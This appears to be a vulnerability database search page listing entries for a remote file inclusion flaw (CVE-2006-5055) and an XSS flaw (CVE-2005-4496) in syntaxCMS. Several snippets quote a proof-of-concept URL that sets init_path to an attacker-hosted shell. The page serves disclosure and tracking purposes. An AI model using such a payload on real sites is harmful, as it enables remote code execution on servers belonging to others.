Lucene search
K

34 matches found

NVD
NVD
added 2006/09/28 12:7 a.m.8 views

CVE-2006-5055

PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...

7.5CVSS7.5AI score0.18789EPSS
Exploits0References7
Cvelist
Cvelist
added 2006/09/28 12:0 a.m.16 views

CVE-2006-5055

PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...

7.5AI score0.18789EPSS
Exploits0References7
CVE
CVE
added 2006/09/28 12:0 a.m.38 views

CVE-2006-5055

CVE-2006-5055 describes a PHP remote file inclusion in syntaxCMS 1.1.1 to 1.3, exploitable via a URL in the init_path parameter of admin/testing/tests/0004_init_urls.php. The underlying issue is a vulnerability in how user-supplied URLs are included, allowing remote attackers to execute arbitrary...

7.5CVSS7.5AI score0.18789EPSS
Exploits0References7Affected Software1
EUVD
EUVD
added 2006/09/28 12:0 a.m.3 views

EUVD-2006-5040

PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...

7.5CVSS7.4AI score0.18789EPSS
Exploits0References7
securityvulns
securityvulns
added 2006/09/25 12:0 a.m.34 views

[Full-disclosure] Remote File Include in syntaxCMS

Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...ju...

0.8AI score
Exploits0
Exploit DB
Exploit DB
added 2006/09/24 12:0 a.m.27 views

SyntaxCMS 1.3 - '0004_init_urls.php' Remote File Inclusion

Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...just used for tests Found by MoHaJaLi Greetz to EddyBAck...

7AI score
Exploits0
exploitpack
exploitpack
added 2006/09/24 12:0 a.m.9 views

SyntaxCMS 1.3 - 0004_init_urls.php Remote File Inclusion

SyntaxCMS 1.3 - 0004initurls.php Remote File Inclusion Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not...

0.3AI score
Exploits0
seebug.org
seebug.org
added 2006/09/24 12:0 a.m.22 views

SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability

No description provided by source. Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remo...

7.1AI score
Exploits0
0day.today
0day.today
added 2006/09/24 12:0 a.m.21 views

SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ======================================================================= SyntaxCMS PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...ju...

7.1AI score
Exploits0
NVD
NVD
added 2005/12/22 11:3 a.m.8 views

CVE-2005-4496

Cross-site scripting XSS vulnerability in search in SyntaxCMS 1.2.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchquery parameter...

4.3CVSS5.7AI score0.02503EPSS
Exploits0References5
Cvelist
Cvelist
added 2005/12/22 11:0 a.m.14 views

CVE-2005-4496

Cross-site scripting XSS vulnerability in search in SyntaxCMS 1.2.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchquery parameter...

5.7AI score0.02503EPSS
Exploits0References5
Exploit DB
Exploit DB
added 2005/12/21 12:0 a.m.17 views

SyntaxCMS - Search Query Cross-Site Scripting

source: https://www.securityfocus.com/bid/16033/info SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of...

7.4AI score
Exploits0
exploitpack
exploitpack
added 2005/12/21 12:0 a.m.10 views

SyntaxCMS - Search Query Cross-Site Scripting

SyntaxCMS - Search Query Cross-Site Scripting source: https://www.securityfocus.com/bid/16033/info SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have...

6.8AI score
Exploits0
securityvulns
securityvulns
added 2005/12/21 12:0 a.m.24 views

SyntaxCMS XSS vuln.

SyntaxCMS XSS vuln. Vuln. discovered by : r0t Date: 21 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/syntaxcms-xss-vuln.html vendor:http://www.syntaxcms.org/ affected version:1.2.1 and prior Product Description: SyntaxCMS simplifies publishing various types of content to a site,...

0.6AI score
Exploits0
Rows per page
Query Builder